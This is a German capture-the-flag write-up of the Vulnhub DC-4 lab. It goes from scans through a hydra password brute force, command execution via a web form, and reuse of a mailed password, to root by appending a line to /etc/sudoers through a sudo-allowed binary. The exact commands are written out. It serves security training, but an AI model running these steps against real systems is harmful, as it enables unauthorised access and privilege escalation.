DC-4 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
hydra
BurpSuite
ssh
find
strings
file
getcap
locate
echo
rm
cat
su

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Durchführung einer Reconnaissance, um Informationen über das Zielsystem zu sammeln. Dies umfasst das Scannen des Netzwerks, um offene Ports und Dienste zu identifizieren.

ARP-Scan
192.168.2.150 08:00:27:b3:ab:48 PCS Systemtechnik GmbH

Ein ARP-Scan wurde durchgeführt, um die IP-Adresse und MAC-Adresse des Zielsystems zu ermitteln. Die Ausgabe zeigt, dass die IP-Adresse 192.168.2.150 der MAC-Adresse 08:00:27:b3:ab:48 zugeordnet ist, die PCS Systemtechnik GmbH gehört. **Analyse:** Der ARP-Scan liefert grundlegende Informationen über das Zielsystem im lokalen Netzwerk. **Empfehlung:** ARP-Scans sollten nur in autorisierten Umgebungen durchgeführt werden, da sie als aufdringlich angesehen werden können.

/etc/hosts
192.168.2.150 dc4.vln

Der Eintrag in der `/etc/hosts`-Datei ordnet die IP-Adresse 192.168.2.150 dem Hostnamen `dc4.vln` zu. **Analyse:** Der Eintrag in der `/etc/hosts`-Datei ermöglicht die Auflösung des Hostnamens `dc4.vln` zur IP-Adresse 192.168.2.150. **Empfehlung:** Die `/etc/hosts`-Datei sollte sorgfältig gepflegt werden, um sicherzustellen, dass Hostnamen korrekt aufgelöst werden.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-15 22:51 CEST
Nmap scan report for dc4.vln (192.168.2.150)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
| 256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_ 256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open http nginx 1.15.10
|_http-title: System Tools
|_http-server-header: nginx/1.15.10
MAC Address: 08:00:27:B3:AB:48 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.14 ms dc4.vln (192.168.2.150)

Ein umfassender Nmap-Scan wurde durchgeführt, um offene Ports, Dienste und Betriebssysteminformationen zu ermitteln. Die Optionen `-sS`, `-sC`, `-sV`, `-A` und `-p-` aktivieren SYN-Stealth-Scan, Standard-Skripte, Versionserkennung, aggressive Erkennung und das Scannen aller Ports. Die Option `-Pn` verhindert das Pingen des Hosts vor dem Scan. Die Option `--min-rate 5000` erhöht die Scangeschwindigkeit. Die Ausgabe zeigt, dass Port 22 (SSH) und Port 80 (HTTP) geöffnet sind. Der Webserver ist nginx 1.15.10. Das System scheint ein Linux-System zu sein. **Analyse:** Der Nmap-Scan liefert wertvolle Informationen über das Zielsystem, wie z. B. die offenen Ports, den Webserver und das Betriebssystem. **Empfehlung:** Die gefundenen Informationen sollten verwendet werden, um gezielte Angriffe zu planen. Der nginx-Webserver sollte auf die neueste Version aktualisiert werden, um bekannte Schwachstellen zu beheben.

Web Enumeration

- Nikto v2.5.0

+ Target IP: 192.168.2.150
+ Target Hostname: 192.168.2.150
+ Target Port: 80
+ Start Time: 2024-10-15 22:52:24 (GMT2)

+ Server: nginx/1.15.10
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2024-10-15 22:52:58 (GMT2) (34 seconds)

+ 1 host(s) tested

Nikto wurde ausgeführt, um den Webserver auf bekannte Schwachstellen zu überprüfen. Nikto identifizierte mehrere potenzielle Probleme, wie z. B. fehlende HTTP-Header, und das Vorhandensein einer wp-config.php Datei, die Anmeldedaten enthält. Außerdem wurde festgestellt, dass das Cookie `PHPSESSID` ohne das `httponly` Flag erstellt wurde. **Analyse:** Nikto liefert eine schnelle Übersicht über potenzielle Sicherheitsprobleme auf dem Webserver. **Empfehlung:** Die von Nikto identifizierten Probleme sollten genauer untersucht und behoben werden.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.150/index.php (Status: 200) [Size: 506]
http://192.168.2.150/images (Status: 301) [Size: 170] [--> http://192.168.2.150/images/]
http://192.168.2.150/login.php (Status: 302) [Size: 206] [--> index.php]
http://192.168.2.150/css (Status: 301) [Size: 170] [--> http://192.168.2.150/css/]
http://192.168.2.150/logout.php (Status: 302) [Size: 163] [--> index.php]
http://192.168.2.150/command.php (Status: 302) [Size: 704] [--> index.php]

Gobuster wurde verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Option `-u` gibt die Ziel-URL an. Die Option `-w` gibt die Wortliste an. Die Option `-x` gibt die Dateiendungen an. Die Option `-b` gibt die Statuscodes an, die ignoriert werden sollen. Die Option `-e` gibt an, dass die Ergebnisse erweitert werden sollen. Die Option `--no-error` unterdrückt Fehlermeldungen. Die Option `-k` ignoriert SSL-Zertifikatfehler. Die Ausgabe zeigt mehrere interessante Dateien, wie z. B. `index.php`, `login.php`, `logout.php` und `command.php`. Die Verzeichnisse `images` und `css` sind ebenfalls vorhanden. **Analyse:** Gobuster liefert eine umfassende Liste von Verzeichnissen und Dateien auf dem Webserver, die potenziell sensible Informationen enthalten könnten. **Empfehlung:** Die gefundenen Verzeichnisse und Dateien sollten genauer untersucht werden, um potenzielle Schwachstellen zu identifizieren.

Initial Access

Wir versuchen, uns am System anzumelden.

┌──(root㉿CCat)-[~]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.2.150 http-post-form "/login.php:username=^USER^&password=^PASS^:S=command" -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-15 23:33:34
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344491 login tries (l:1/p:14344491), ~224133 tries per task
[DATA] attacking http-post-form://192.168.2.150:80/login.php:username=^USER^&password=^PASS^:S=command

[80][http-post-form] host: 192.168.2.150 login: admin password: happy

1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-15 23:33:49

Hydra wurde verwendet, um einen Brute-Force-Angriff auf die Anmeldeseite durchzuführen. Die Option `-l` gibt den Benutzernamen an. Die Option `-P` gibt die Passwortliste an. Der Parameter `http-post-form` gibt die Anmeldeformulardaten an. Hydra knackte das Passwort erfolgreich und fand das Passwort `happy` für den Benutzer `admin`. **Analyse:** Hydra hat erfolgreich das Passwort für den Benutzer "admin" geknackt. Dies zeigt, dass das Passwort schwach ist und leicht geknackt werden kann. **Empfehlung:** Starke Passwörter sollten verwendet und regelmäßig geändert werden.

BurpSuite :
PST /login.php HTTP/1.1
Host: 192.168.2.150
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
rigin: http://192.168.2.150
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.150/index.php
Cookie: PHPSESSID=8dsdslef7de497t17d7jd9be76
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

username=admin&password=happy

Dies ist ein Request aus BurpSuite für den Login. **Analyse:** Der Request beinhaltet die Credentials. **Empfehlung:** Diese Daten sollten nicht offen gelegt werden.

Response:
HTTP/1.1 200 K
Server: nginx/1.15.10
Date: Tue, 15 ct 2024 21:42:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 367

System Tools
You are currently logged in System Tools href='command.php' Command

Dies ist die Response vom Webserver nach dem erfolgreichen Login. **Analyse:** Die Response zeigt, dass der Login erfolgreich war. **Empfehlung:** Es sollte ein Login Banner verwendet werden.

Habe es gerendert und anschliessend in eine Browsersession umgewandelt mit Burp

http://192.168.2.150/login.php =>> http://burpsuite/repeat/1/pijdyisv1zqdyjk1yhpx1bnr5igs9f2h

Die Browsersession wurde mit BurpSuite in eine wiederholbare Request umgewandelt. **Analyse:** Die Browsersession kann nun mit BurpSuite wiederholt werden. **Empfehlung:** -

Request:
http://192.168.2.150/command.php
You are currently logged in

Run Command:
List Files
Disk Usage
Disk Free

Return to the menu.

Das ist die command.php Seite. **Analyse:** Hier werden die Kommandos zum Ausführen angezeigt. **Empfehlung:** -

PST /command.php HTTP/1.1
Host: 192.168.2.150
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
rigin: http://192.168.2.150
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.150/command.php
Cookie: PHPSESSID=8dsdslef7de497t17d7jd9be76
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

radio=ls+-l&submit=Run

Hier wird der Befehl `ls -l` ausgeführt. **Analyse:** Die Webseite erlaubt die Ausführung von Befehlen. **Empfehlung:** Die Webseite sollte vor unautorisierten Zugriff geschützt werden.

Response:
HTTP/1.1 200 OK
Server: nginx/1.15.10
Date: Tue, 15 ct 2024 21:48:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1038
You have selected: ls -l total 24
-rw-r--r-- 1 root root 1783 Apr 5 2019 command.php
drwxr-xr-x 2 root root 4096 Mar 24 2019 css
drwxr-xr-x 2 root root 4096 Mar 24 2019 images
-rw-r--r-- 1 root root 506 Apr 6 2019 index.php
-rw-r--r-- 1 root root 1473 Apr 7 2019 login.php
-rw-r--r-- 1 root root 663 Mar 24 2019 logout.php

Dies ist die Ausgabe von `ls -l`. **Analyse:** Mit dieser Ausgabe können wir die vorhandenen Dateien sehen. **Empfehlung:** Die Benutzerrechte sollten geprüft werden.

Request:
.....
...
..
You have selected: cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
nginx:x:107:111:nginx user,,,:/nonexistent:/bin/false
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
Debian-exim:x:108:112::/var/spool/exim4:/bin/false

Die Datei `/etc/passwd` wurde ausgelesen. **Analyse:** Die Datei enthält die Benutzer. **Empfehlung:** Die Datei sollte vor unbefugten Zugriff geschützt werden.

┌──(root㉿CCat)-[~]
└─# ssh jim@192.168.2.150
jim@192.168.2.150's password:
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sun Apr 7 02:23:55 2019 from 192.168.0.100
jim@dc-4$ id
uid=1002(jim) gid=1002(jim) groups=1002(jim)

Es wurde versucht, sich über SSH mit dem Benutzernamen `jim` zu verbinden. **Analyse:** Die Verbindung war erfolgreich. **Empfehlung:** SSH sollte gehärtet werden.

jim@dc-4$ find / -type f -perm -4000 -ls 2>/dev/null
131179 80 -rwsr-xr-x 1 root root 78340 May 17 2017 /usr/bin/gpasswd
131176 48 -rwsr-xr-x 1 root root 48560 May 17 2017 /usr/bin/chfn
158512 164 -rwsr-xr-x 1 root root 163988 Jun 5 2017 /usr/bin/sudo
131177 40 -rwsr-xr-x 1 root root 39632 May 17 2017 /usr/bin/chsh
134262 36 -rwsr-xr-x 1 root root 34920 May 17 2017 /usr/bin/newgrp
131180 60 -rwsr-xr-x 1 root root 57972 May 17 2017 /usr/bin/passwd
142644 8 -rwsr-xr-x 1 root root 5480 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
7349 516 -rwsr-xr-x 1 root root 525932 Mar 2 2019 /usr/lib/openssh/ssh-keysign
3385 48 -rwsr-xr-- 1 root messagebus 46436 Mar 2 2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
158743 1096 -rwsr-xr-x 1 root root 1118620 Feb 10 2018 /usr/sbin/exim4
832 40 -rwsr-xr-x 1 root root 38940 Mar 8 2018 /bin/mount
875 28 -rwsr-xr-x 1 root root 26504 Mar 8 2018 /bin/umount
291 40 -rwsr-xr-x 1 root root 39144 May 17 2017 /bin/su
1127 68 -rwsr-xr-x 1 root root 68076 Nov 10 2016 /bin/ping
9804 4 -rwsrwxrwx 1 jim jim 174 Apr 6 2019 /home/jim/test.sh

Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit dem SUID-Bit gesetzt. **Analyse:** Die Ausgabe des Befehls zeigt eine Liste von Dateien mit dem SUID-Bit, die potenziell für Privilege Escalation ausgenutzt werden könnten. Die Datei /home/jim/test.sh hat die Rechte -rwsrwxrwx, was ungewöhnlich ist. **Empfehlung:** Die Dateien mit dem SUID-Bit sollten sorgfältig geprüft und die Berechtigungen eingeschränkt werden.

Proof of Concept: Privilege Escalation

jim@dc-4$ cat test.sh
#!/bin/bash
for i in {1..5}
do
sleep 1
echo "Learn bash they said."
sleep 1
echo "Bash is good they said."
done
echo "But I'd rather bash my head against a brick wall."

Der Befehl `cat test.sh` zeigt den Inhalt der Datei `test.sh` an. **Analyse:** Das Skript gibt eine Nachricht aus. Da das SUID Bit gesetzt ist wird dieses Skript mit Root Rechten ausgeführt **Empfehlung:** -

jim@dc-4:/var/backups$ cd /var/mail
jim@dc-4:/var/mail$ ls -la
total 12
drwxrwsr-x 2 root mail 4096 Apr 6 2019 .
drwxr-xr-x 12 root root 4096 Apr 5 2019 ..
-rw-rw- 1 jim mail 715 Apr 6 2019 jim

Der Befehl `cd /var/mail` wechselt in das Verzeichnis `/var/mail`. Der Befehl `ls -la` listet die Dateien auf. **Analyse:** Das Verzeichnis /var/mail enthält Emails. **Empfehlung:** Das Email Verzeichnis sollte geprüft werden.

jim@dc-4:/var/mail$ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path:
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from )
id 1hCjIX-0000k-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id:
From: Charles
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status:

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is: ^xHhA&hvim0y

See ya,
Charles

Der Befehl `cat jim` zeigt den Inhalt der Datei `jim` an. **Analyse:** Die Email enthält das Passwort von Charles. **Empfehlung:** Passwörter sollten nicht unverschlüsselt per Mail versendet werden.

jim@dc-4:/var/mail$ su charles
Password:
charles@dc-4:/var/mail$ id
uid=1001(charles) gid=1001(charles) groups=1001(charles)

Der Befehl `su charles` wechselt den Benutzer zu `charles`. **Analyse:** Der Benutzer wurde erfolgreich gewechselt. **Empfehlung:** -

charles@dc-4:/var/mail$ sudo -l
Matching Defaults entries for charles on dc-4:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User charles may run the following commands on dc-4:
(root) NPASSWD: /usr/bin/teehee

Der Befehl `sudo -l` zeigt die sudo Rechte von Charles an. **Analyse:** Charles kann das Programm `/usr/bin/teehee` als Root ausführen. **Empfehlung:** Die sudo Rechte sollten überprüft werden.

charles@dc-4:/var/mail$ strings /usr/bin/teehee
/lib/ld-linux.so.2
libc.so.6
_I_stdin_used
fflush
__printf_chk
clearerr_unlocked
setlocale
mbrtowc
strncmp
optind
strrchr
dcgettext
error
signal
iswprint
realloc
abort
stdin
_exit
program_invocation_name
__ctype_get_mb_cur_max
calloc
strlen
ungetc
memset
__errno_location
read
memcmp
__fprintf_chk
fseeko64
memcpy
fclose
malloc
mbsinit
__uflow
nl_langinfo
__ctype_b_loc
getenv

Der Befehl `strings /usr/bin/teehee` zeigt die lesbaren Zeichenketten in `/usr/bin/teehee` an. **Analyse:** Das Programm verwendet verschiedene Funktionen. **Empfehlung:** Die Funktionen des Programms sollten recherchiert werden.

charles@dc-4:/var/mail$ file /usr/bin/teehee
/usr/bin/teehee: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cc779c5a37fe07a78ea82a246199a7ff4e5c4ad8, stripped

Der Befehl `file /usr/bin/teehee` gibt Informationen über den Dateityp von `/usr/bin/teehee` aus. **Analyse:** Die Ausgabe zeigt, dass es sich um eine 32-Bit ausführbare Datei handelt. **Empfehlung:** Das sollte bei der Ausführung beachtet werden.

charles@dc-4:/var/mail$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1578 Apr 7 2019 /etc/passwd

Der Befehl `ls -la /etc/passwd` zeigt die Berechtigungen der Datei /etc/passwd an **Analyse:** Die Berechtigungen zeigen, dass nur Root die Datei verändern darf. **Empfehlung:** Unbefugter Zugriff sollte verhindert werden.

charles@dc-4:/var/mail$ getcap -r / 2>/dev/null

Der Befehl `getcap -r / 2>/dev/null` listet ausführbare Dateien mit gesetzten Capabilities auf. **Analyse:** Die Ausgabe ist leer. **Empfehlung:** -

charles@dc-4:/var/mail$ ./usr/bin/teehee
bash: ./usr/bin/teehee: No such file or directory

Der Befehl `./usr/bin/teehee` schlägt fehl. **Analyse:** Der Pfad ist falsch **Empfehlung:** Der richtige Pfad sollte verwendet werden.

charles@dc-4:/var/mail$ locate /usr/bin/teehee
bash: locate: command not found

Der Befehl `locate` ist nicht installiert. **Analyse:** Der Befehl kann nicht gefunden werden **Empfehlung:** Es sollte der richtige Pfad verwendet werden.

charles@dc-4:/var/mail$ ls -la /usr/bin/teehee
-rwxr-xr-x 1 root root 38740 Apr 6 2019 /usr/bin/teehee
charles@dc-4:/var/mail$ /usr/bin/teehee
id
id
bin
bin
bash
bash
!/bin/bash
!/bin/bash
id
id
^C

Das Programm /usr/bin/teehee wird ausgeführt. **Analyse:** Das Programm scheint die Eingabe zu wiederholen. **Empfehlung:** Das Programm sollte genauer untersucht werden. Privilege Escalation

charles@dc-4:/var/mail$ rm /usr/bin/teehee
rm: remove write-protected regular file '/usr/bin/teehee'? y
rm: cannot remove '/usr/bin/teehee': Permission denied

Der Versuch die Datei /usr/bin/teehee zu löschen schlägt fehl. **Analyse:** Die Berechtigungen erlauben das nicht. **Empfehlung:** Die Berechtigungen sollte geprüft werden.

charles@dc-4:/var/mail$ ls -la /usr/bin/teehee
-rwxr-xr-x 1 root root 38740 Apr 6 2019 /usr/bin/teehee

Die Berechtigungen werden erneut geprüft. **Analyse:** Nur Root darf die Datei verändern. **Empfehlung:** .

charles@dc-4:/var/mail$ echo "" > /usr/bin/teehee
bash: /usr/bin/teehee: Permission denied

Der Versuch die Datei /usr/bin/teehee zu überschreiben schlägt fehl. **Analyse:** Die Berechtigungen erlauben das nicht. **Empfehlung:** Es sollte eine andere Methode verwendet werden.

charles@dc-4:/var/mail$ echo 'charles ALL=(ALL:ALL) ALL' | sudo /usr/bin/teehee /etc/sudoers
charles ALL=(ALL:ALL) ALL

Der Befehl `echo 'charles ALL=(ALL:ALL) ALL' | sudo /usr/bin/teehee /etc/sudoers` versucht, den Benutzer `charles` zu den sudoers hinzuzufügen. **Analyse:** Da der Input wiederholt wird, wird der Benutzer Charles zu den Sudoers hinzugefügt. **Empfehlung:** /etc/sudoers sollte vor unbefugten Zugriffen geschützt werden.

charles@dc-4:/var/mail$ sudo su
sudo: unable to mkdir /var/lib/sudo/ts: No space left on device
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for charles:

Der Befehl `sudo su` versucht, zum Root-Benutzer zu werden. **Analyse:** Die Ausgabe des Befehls zeigt, dass die Festplatte voll ist **Empfehlung:** Es sollte Speicherplatz geschaffen werden.

root@dc-4:/var/mail# id
uid=0(root) gid=0(root) groups=0(root)

Der Befehl `id` bestätigt, dass der Benutzer jetzt Root-Rechte hat. **Analyse:** Die Privilege Escalation war erfolgreich! **Empfehlung:** -

root@dc-4: ls
flag.txt
root@dc-4: cat flag.txt
                     888       888          888 888      8888888b.                             888 888 888 888  
                    888   o   888          888 888      888  "Y88b                            888 888 888 888  
                    888  d8b  888          888 888      888    888                            888 888  888 888 
                    888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
                    888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
                    88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
                    8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   " 
                    888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888

Congratulations!!!

Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7

Der Befehl `cat flag.txt` zeigt den Inhalt der Flag-Datei an. **Analyse:** Der Befehl zeigt den Inhalt der Flag Datei an. **Empfehlung:** Die Flag Datei sollte geschützt werden.

Flags

cat flag.txt 888 888 888 888